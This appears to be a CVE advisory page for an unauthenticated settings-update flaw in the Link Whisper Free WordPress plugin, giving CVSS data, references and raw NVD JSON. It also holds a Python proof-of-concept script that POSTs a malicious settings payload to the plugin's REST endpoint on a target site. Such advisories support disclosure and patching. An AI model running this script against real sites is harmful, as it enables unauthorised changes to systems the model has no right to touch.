CVE-2026-1900

Description

The Link Whisper Free WordPress plugin before 0.9.1 has a publicly accessible REST endpoint that allows unauthenticated settings updates.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:linkwhisper:link_whisper:*:*:*:*:free:wordpress:*:* - VULNERABLE

Link Whisper Free < 0.9.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
import requests
import sys

# PoC for CVE-2026-1900: Unauthenticated Settings Update in Link Whisper Free
# Usage: python3 poc.py <target_url>

target_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"

# The vulnerable endpoint for updating settings
endpoint = f"{target_url}/wp-json/link-whisper/v1/update_settings"

headers = {
    "Content-Type": "application/json",
    "User-Agent": "CVE-2026-1900-PoC-Scanner"
}

# Payload containing malicious settings update
payload = {
    "settings": {
        "active": "1",
        "arbitrary_option": "pwned_by_attacker"
    }
}

try:
    print(f"[*] Sending request to {endpoint}...")
    response = requests.post(endpoint, json=payload, headers=headers, timeout=10)
    
    if response.status_code == 200:
        print("[+] Exploit successful! Settings updated.")
        print(f"[+] Response: {response.text}")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
        print(f"[-] Response: {response.text}")
except Exception as e:
    print(f"[!] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-1900
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-1900
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-1900/
[4] VulDB https://vuldb.com/cve/CVE-2026-1900
[5] https://wpscan.com/vulnerability/dc10b627-7981-4c53-bc9d-e87418f3fcfc/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-1900", "sourceIdentifier": "[email protected]", "published": "2026-04-07T07:16:23.803", "lastModified": "2026-04-13T19:52:53.183", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Link Whisper Free WordPress plugin before 0.9.1 has a publicly accessible REST endpoint that allows unauthenticated settings updates."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linkwhisper:link_whisper:*:*:*:*:free:wordpress:*:*", "versionEndExcluding": "0.9.1", "matchCriteriaId": "5862AD25-0EE5-4EF5-AD38-999A1BAE2682"}]}]}], "references": [{"url": "https://wpscan.com/vulnerability/dc10b627-7981-4c53-bc9d-e87418f3fcfc/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}